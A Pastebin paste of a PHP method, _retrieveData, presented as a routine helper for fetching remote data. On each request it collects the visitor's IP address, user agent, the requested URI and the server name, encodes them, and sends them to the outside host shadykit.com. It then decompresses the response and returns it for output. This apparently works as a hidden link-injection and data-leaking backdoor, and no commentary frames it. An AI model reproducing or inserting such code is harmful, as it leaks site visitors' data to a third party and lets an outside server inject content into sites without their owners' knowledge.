SHARE
TWEET

Untitled

a guest Jan 20th, 2019 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2.      * Method to get data from a remote server.
  3.      *
  4.      * @access  protected
  5.      * @return  string
  6.      */
  7.     function _retrieveData()
  8.     {
  9.         // default value
  10.         $data = '';
  11.  
  12.         // get input data
  13.         $input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
  14.         $input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null;
  15.         $input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null;
  16.         $input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
  17.  
  18.         // check input data
  19.         if (is_null($input['REMOTE_ADDR']) || is_null($input['SERVER_NAME']) ||
  20.                 is_null($input['REQUEST_URI']) || is_null($input['HTTP_USER_AGENT'])) {
  21.             return $data;
  22.         }
  23.  
  24.         // build request
  25.         $value = 'p=' . urlencode(base64_encode(serialize($input)));
  26.  
  27.         $request  = "POST /api/link/ HTTP/1.1\r\n";
  28.         $request .= "Host: shadykit.com\r\n";
  29.         $request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
  30.         $request .= "Content-Length: " . strlen($value) . "\r\n";
  31.         $request .= "Connection: close\r\n\r\n";
  32.         $request .= $value;
  33.  
  34.         // try to connect to server
  35.         @$socket = fsockopen('shadykit.com', 80, $errorNumber, $errorMessage, 7);
  36.         if (!$socket) {
  37.             return $data;
  38.         }
  39.  
  40.         // retrieve response
  41.         $response = null;
  42.         stream_set_timeout($socket, 7);
  43.         fputs($socket, $request);
  44.         while (!feof($socket)) {
  45.             $response .= fgets($socket, 1024);
  46.         }
  47.         fclose($socket);
  48.         preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
  49.  
  50.         // uncompress html content
  51.         if ($parts[1] != 0) {
  52.             @$data = gzuncompress(substr($response, - $parts[1]));
  53.         }
  54.  
  55.         return $data;
  56.     }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top